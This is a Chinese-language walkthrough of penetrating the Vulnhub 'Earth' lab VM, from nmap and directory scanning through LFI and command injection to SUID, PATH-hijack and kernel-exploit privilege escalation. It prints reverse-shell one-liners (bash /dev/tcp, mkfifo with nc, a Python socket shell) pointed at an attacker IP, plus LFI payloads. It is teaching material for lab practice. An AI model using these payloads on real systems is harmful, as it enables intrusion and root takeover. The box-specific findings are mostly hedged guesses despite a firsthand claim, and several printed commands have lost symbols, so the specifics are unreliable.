Earth靶机渗透实战:从信息收集到权限提升的完整攻防演练
1. 项目概述从零开始攻克Earth靶机如果你正在学习网络安全尤其是渗透测试的实战技能那么Vulnhub上的Earth靶机绝对是一个绕不开的经典练习场。它不是那种简单几步就能拿下的“新手村”任务而是需要你综合运用信息收集、漏洞分析、权限提升等一系列技能的综合性实战演练。我最近花了些时间从头到尾完整地走了一遍Earth靶机的渗透流程过程中踩了不少坑也总结出一些非常实用的技巧。这篇文章我就以一个过来人的身份和你详细拆解整个渗透过程不仅仅是告诉你“怎么做”更重要的是分享“为什么这么做”以及“过程中可能遇到什么坑”。无论你是刚接触Vulnhub的新手还是想巩固自己技能的老兵相信这篇详尽的攻略都能给你带来实实在在的帮助。Earth靶机模拟了一个存在多个漏洞的Linux服务器环境我们的目标就是从外部网络通过发现并利用其安全弱点最终获取系统的最高权限root shell。整个过程就像一次完整的“夺旗”挑战充满了探索和破解的乐趣。我会按照标准的渗透测试流程来组织内容从环境搭建、信息收集开始到漏洞发现与利用再到内网横向移动和最终的权限提升。每个环节我都会附上具体的命令、操作截图以文字描述关键输出以及我当时思考的逻辑。准备好了吗让我们开始这次地心探险。2. 环境准备与靶机配置2.1 靶机下载与虚拟机导入首先你得把“战场”准备好。Earth靶机的镜像文件可以在Vulnhub官网找到。搜索“Earth”就能看到通常文件名是类似Earth.ova或Earth.vmdk的格式。我强烈建议下载.ova格式的文件因为它是一个预配置的虚拟机模板导入过程最省心。下载完成后我用的是VirtualBox来运行它。打开VirtualBox点击“管理”菜单下的“导入虚拟电脑”然后选择你下载的.ova文件。在导入设置里有几点需要注意虚拟硬盘确保你导入的硬盘文件存放在一个有足够空间至少20GB的磁盘分区上。网络设置这是最关键的一步。必须将网络适配器设置为“仅主机网络”。这意味着靶机和你的攻击机比如Kali Linux将处于一个与物理网络隔离的虚拟网络中它们之间可以互相通信但无法访问外网。这既保证了实验环境的安全也模拟了内网渗透的场景。系统资源默认配置通常够用但如果你机器性能较好可以适当增加内存比如2GB和CPU核心数1-2个这样运行起来更流畅。导入成功后先不要启动靶机。同样地你的攻击机我使用的是Kali Linux虚拟机也需要配置在同一个“仅主机网络”中。在VirtualBox里检查两台虚拟机的网络设置确保它们连接在同一个虚拟网络接口上比如都连接在VirtualBox Host-Only Ethernet Adapter上。注意有时候VirtualBox的“仅主机网络”可能没有自动分配IP地址。你可以在VirtualBox主界面进入“管理” - “主机网络管理器”创建一个新的主机网络适配器并确保其DHCP服务器是启用的。这样虚拟机启动后就能自动获取到IP了。2.2 攻击机配置与网络发现启动你的Kali Linux虚拟机。首先我们需要知道自己的IP地址并探测靶机的IP。打开终端输入ip addr show或ifconfig命令。你会看到一个通常是vboxnet或eth开头的网络接口其IP地址类似于192.168.56.x具体网段可能因配置而异。记下这个IP这是你攻击机的IP。接下来我们要找出靶机的IP。最常用的工具就是nmap。我们可以对整个虚拟网络段进行扫描。假设你的攻击机IP是192.168.56.101那么虚拟网络很可能就是192.168.56.0/24网段。使用以下命令进行存活主机扫描sudo nmap -sn 192.168.56.0/24-sn参数表示只进行Ping扫描主机发现不扫描端口。这条命令会列出该网段内所有在线的主机。在输出结果中除了你的Kali Linux的IP应该还会看到另一个IP地址那就是Earth靶机的地址。假设我们发现的靶机IP是192.168.56.105。实操心得如果-sn扫描没有发现靶机可能是因为靶机禁用了ICMP回应。这时候可以尝试使用ARP扫描它更底层通常更可靠。可以使用netdiscover工具sudo netdiscover -r 192.168.56.0/24。这个工具通过发送ARP请求来发现主机在虚拟网络环境中尤其有效。3. 信息收集与侦察3.1 全面的端口与服务扫描拿到靶机IP后下一步就是进行深入的端口扫描摸清靶机上开放了哪些服务这是所有后续攻击的基础。我们不能只进行简单的默认端口扫描而应该进行一次全面扫描。sudo nmap -sV -sC -O -p- 192.168.56.105让我解释一下这些参数的含义-sV探测开放端口上运行的服务及其版本信息。知道服务版本对于寻找对应的漏洞至关重要。-sC使用Nmap自带的默认脚本进行扫描。这些脚本能进行更深入的探测比如检查常见的漏洞、获取HTTP服务的标题信息等。-O尝试识别目标主机的操作系统。-p-扫描所有65535个端口而不是默认的1000个常用端口。有些服务可能开在非常规端口上这个参数能确保我们不会遗漏。扫描过程可能需要几分钟。扫描完成后你会得到一份详细的报告。以Earth靶机为例典型的扫描结果可能显示开放了以下几个关键端口22/tcpSSH服务。这通常是Linux服务器的远程管理入口。80/tcpHTTP服务。运行着一个Web服务器这是非常常见的攻击入口。443/tcpHTTPS服务。另一个Web入口可能使用了SSL/TLS加密。还有一个较高编号的端口比如12345/tcp或类似运行着一个自定义服务。这种非标准端口往往藏着有趣的东西。Nmap的输出里会包含服务的具体版本比如Apache httpd 2.4.38或OpenSSH 7.9p1。把这些信息都记录下来。3.2 Web应用初步侦察既然开放了80和443端口Web应用自然是我们首要的侦察目标。首先直接用浏览器访问http://192.168.56.105和https://192.168.56.105。看看页面上显示了什么。Earth靶机的Web界面可能看起来很简单甚至只有一个默认的Apache页面但这并不意味着没有东西。我们需要使用工具进行更深入的目录和文件枚举。gobuster或dirb是这方面的利器。它们会尝试用字典中的常见路径去爆破发现隐藏的目录或文件。gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txtdir指定模式为目录爆破。-u指定目标URL。-w指定字典文件路径。Kali自带了多个字典common.txt是一个不错的起点。-x指定尝试的文件扩展名。这里我们寻找.php,.html,.txt结尾的文件。运行这个命令你可能会发现一些有趣的目录比如/admin/,/backup/,/uploads/或者一些特定的文件如robots.txt,index.php.bak等。特别是robots.txt文件它常常会暴露出网站管理员不想被爬虫访问的目录这些目录有时包含敏感信息或后台入口。同时检查HTTPS网站时注意查看其证书信息。有时证书的“通用名称”或“主题备用名称”字段会包含有用的域名或主机名信息这可能在后续的虚拟主机探测中用到。注意事项在进行目录爆破时控制好速率避免因请求过快被临时屏蔽。可以使用-t参数指定线程数如-t 20。另外如果网站有防爆破机制你可能需要添加随机延迟或使用代理。4. 漏洞发现与初始访问4.1 分析非常规端口服务回顾我们的Nmap扫描结果那个非标准的高位端口例如12345非常可疑。我们用netcat或telnet手动连接上去看看。nc 192.168.56.105 12345或者telnet 192.168.56.105 12345连接成功后这个服务可能会返回一个提示符或者直接显示一些信息。在Earth靶机中这个端口很可能运行着一个自定义的、有漏洞的网络服务比如一个简单的命令行界面或者一个存在缓冲区溢出漏洞的守护进程。你需要像与一个未知的黑客工具交互一样尝试输入一些内容观察其反应。输入help、?或者随便敲些字符看看。关键点如果这个服务在你输入一长串字符后崩溃或断开连接那强烈暗示存在缓冲区溢出漏洞。例如你可以用Python快速生成一个长字符串进行测试python3 -c “print(‘A’*500)” | nc 192.168.56.105 12345如果服务异常那么下一步就是进行更专业的缓冲区溢出漏洞分析这通常涉及确定精确的溢出偏移量、控制指令指针等。不过Earth靶机也可能在这个服务上设置了其他类型的漏洞比如命令注入。尝试输入; ls或| cat /etc/passwd看看服务是否会执行这些命令。4.2 Web路径遍历与敏感信息泄露回到Web侦察。如果gobuster发现了像/backup或/admin这样的目录直接访问它们。/backup目录下很可能存放着网站的源代码备份文件如.tar.gz,.zip,.bak文件。下载并解压这些备份文件。源代码审计是发现漏洞的黄金手段。你需要仔细检查这些源代码特别是与用户输入相关的处理逻辑。寻找以下危险函数或模式文件包含include(),require(),include_once(),require_once()其参数是否用户可控。命令执行system(),exec(),shell_exec(),passthru()反引号。文件操作file_get_contents(),readfile() 参数是否未经验证直接拼接用户输入。数据库操作SQL查询语句是否直接拼接用户输入而没有使用参数化查询。在Earth靶机的场景中一个经典的漏洞是本地文件包含。你可能在源代码中发现类似这样的PHP代码$page $_GET[‘file’]; include(‘/var/www/html/’ . $page);攻击者可以通过构造?file../../../../etc/passwd这样的参数让服务器包含系统上的敏感文件造成信息泄露。你可以直接在浏览器中尝试http://192.168.56.105/index.php?file../../../etc/passwd。如果LFI漏洞存在你不仅能读到/etc/passwd还可以结合其他技巧。例如在Linux中你可以通过包含/proc/self/environ文件包含环境变量或日志文件如/var/log/apache2/access.log并在User-Agent等字段中注入PHP代码最终实现远程代码执行。这就是LFI到RCE的转化。4.3 利用漏洞获取初始Shell假设我们通过分析非标准端口服务发现了一个命令注入漏洞。例如服务接收一个“命令”参数并执行它但没有做好过滤。我们可以利用这个漏洞反弹一个Shell到我们的攻击机上。首先在Kali上开启一个Netcat监听器nc -lvnp 4444-l监听模式-v详细输出-n不解析域名-p指定端口然后向存在漏洞的服务发送注入命令。命令需要根据服务上下文进行编码或拼接。一个典型的反向Shell payload可能是; bash -c “bash -i /dev/tcp/192.168.56.101/4444 01”或者使用更通用的方式; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.101 4444 /tmp/f将上述payload作为输入发送给目标服务的对应参数。如果成功你会在Netcat监听端看到一个连接并获得一个低权限的Shell可能是www-data用户或某个普通用户。实操心得反弹Shell经常因为编码、特殊字符或shell环境问题而失败。多准备几种payload是明智的。常用的有Bash TCPbash -i /dev/tcp/ATTACKER_IP/PORT 01Netcat传统nc -e /bin/sh ATTACKER_IP PORT需要目标nc支持-e参数现在很少了Netcat管道上面提到的mkfifo方式。Pythonpython3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ATTACKER_IP”,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’如果一种不行就换另一种试试。同时确保你的防火墙没有阻止监听端口。5. 权限提升与内网横向移动5.1 立足点巩固与基础信息收集成功获得一个初始Shell后第一件事不是急着提权而是巩固你的立足点并收集更多系统信息。一个不稳定的Shell可能随时断开。升级Shell用Python快速获取一个更友好的TTY Shell。python3 -c ‘import pty; pty.spawn(“/bin/bash”)’或者/bin/bash -i如果Python不可用尝试perl、ruby或script命令。基础信息收集运行一系列命令来了解你所在的环境。whoamiid查看当前用户和所属组。uname -a查看内核版本。cat /etc/issue或cat /etc/*release查看操作系统发行版信息。dpkg -l或rpm -qa查看已安装的软件包分别对应Debian/Ubuntu和RHEL/CentOS。ps aux或ps -ef查看运行中的进程寻找以root身份运行的有趣进程。netstat -tulpn或ss -tulpn查看网络连接和监听端口发现内部服务。ifconfig或ip addr查看网络接口信息判断是否存在多块网卡可能处于内网。find / -type f -perm -4000 -ls 2/dev/null查找所有SUID权限的文件。这些文件以文件所有者的权限运行是常见的提权突破口。sudo -l如果当前用户有sudo权限这个命令会列出该用户无需密码或以密码可以运行哪些命令。这是提权的最快捷途径之一5.2 利用SUID/SGID文件提权在Earth靶机中信息收集阶段发现的SUID文件可能是提权的关键。一个经典的例子是find命令。如果find被设置了SUID位并且属于root那么我们可以利用它来执行任意命令。检查find的权限ls -la /usr/bin/find如果输出中包含-rwsr-xr-x中的s说明它有SUID位。利用find提权/usr/bin/find . -exec /bin/bash -p \;或者touch test /usr/bin/find test -exec whoami \;如果返回root那么接下来的-exec参数就可以用来执行一个root shell/usr/bin/find test -exec /bin/bash -p \;。进入的bash会继承find进程的root权限。除了find其他常见的危险SUID程序还包括nmap旧版本交互模式、vim、bash某些版本、more/less、cp等。你可以使用像linpeas或linenum这样的自动化脚本它们能更系统性地识别提权路径。你可以从攻击机上传这些脚本到靶机临时目录执行。5.3 利用环境变量与Cron Job提权另一种常见的提权方式是劫持环境变量。检查是否有任何脚本或程序以root权限运行并且它调用了相对路径的命令例如调用ls而不是/bin/ls。检查Cron Jobscrontab -l查看当前用户的计划任务cat /etc/crontab查看系统级的计划任务。寻找那些以root身份运行并且执行脚本路径具有写权限的任务。路径劫持如果有一个root cron job执行了backup.sh而这个脚本里有一行是tar -czf /backups/backup.tar.gz /var/www/html它直接使用了tar命令。如果我们可以控制环境变量PATH或者脚本所在的目录我们就可以进行劫持。假设脚本位于/opt/scripts/backup.sh并且我们对该目录有写权限。我们可以创建一个恶意的tar可执行文件echo ‘/bin/bash -p’ /tmp/tar chmod x /tmp/tar然后修改环境变量让我们伪造的tar优先被找到export PATH/tmp:$PATH等待cron job执行或者如果脚本可以被手动触发我们的恶意tar就会被以root权限执行从而给我们一个root shell。在Earth靶机中可能需要结合发现的Web备份脚本、日志清理脚本等仔细分析其执行逻辑和权限设置。5.4 内核漏洞提权如果上述方法都行不通最后的大招就是内核漏洞提权。我们之前用uname -a获取了内核版本。我们可以搜索该版本是否存在公开的本地提权漏洞。在Kali攻击机上我们可以搜索漏洞利用代码。例如使用searchsploit工具searchsploit “Linux Kernel 4.4” privilege或者去 exploit-db.com 网站搜索。找到对应的漏洞利用代码通常是一个C语言文件后将其上传到靶机。上传方法有很多在靶机上用wget或curl从攻击机搭建的HTTP服务器下载。在攻击机上用python3 -m http.server 8000启动一个简易HTTP服务器然后在靶机上下载wget http://192.168.56.101:8000/exploit.c。如果网络不通可以用base64编码后通过echo命令逐行写入。上传后在靶机上编译并运行gcc exploit.c -o exploit chmod x exploit ./exploit如果漏洞利用成功你会看到#提示符表示获得了root权限。重要警告内核漏洞利用有风险可能导致系统崩溃蓝屏/死机。在靶机环境中可以大胆尝试但在真实环境中务必谨慎最好在完全相同的测试环境中先验证。另外现代系统通常有沙箱、SELinux、AppArmor等安全机制可能会阻止漏洞利用。6. 总结与经验复盘攻克Earth靶机的过程是一次对渗透测试基本流程的完整实践。从信息收集的耐心细致到漏洞分析的敏锐洞察再到利用和提权的灵活应变每一个环节都考验着你的综合能力。回顾整个过程有几点深刻的体会首先信息收集是重中之重。Nmap的全面扫描、Web目录的枚举、源代码的审计这些看似枯燥的工作往往能发现最关键的突破口。Earth靶机中那个非标准端口和Web备份文件就是最典型的例子。不要满足于默认扫描深度和广度决定了你能看到多少攻击面。其次对漏洞的理解要超越工具。自动化工具能发现潜在问题但真正的利用需要手动验证和深入理解。比如LFI漏洞工具可能只报告“发现本地文件包含”但如何将其转化为RCE需要你知道/proc/self/environ、日志注入这些技巧。再比如SUID提权知道find可以用于提权是知识但能在实战中想起来并成功运用才是能力。第三提权路径往往不止一条。不要在一个方法上钻牛角尖。SUID不行就看看sudo权限再不行就查cron job最后还有内核漏洞。平时多积累各种提权技巧并学会使用像linpeas这样的自动化信息收集脚本它能帮你系统性地梳理出可能的提权点大大提高效率。最后保持耐心和记录的习惯。渗透测试很少能一击即中。遇到阻碍时回头重新审视收集到的信息也许会有新的发现。详细记录你的每一步操作、每一条命令的输出、每一个猜想和验证结果。这不仅是完成靶机的要求更是养成专业素养的必经之路。Earth靶机只是开始Vulnhub上还有无数更复杂的挑战等着你。把在这个靶机上练就的思路和方法固化下来你就能更有信心地去面对下一个。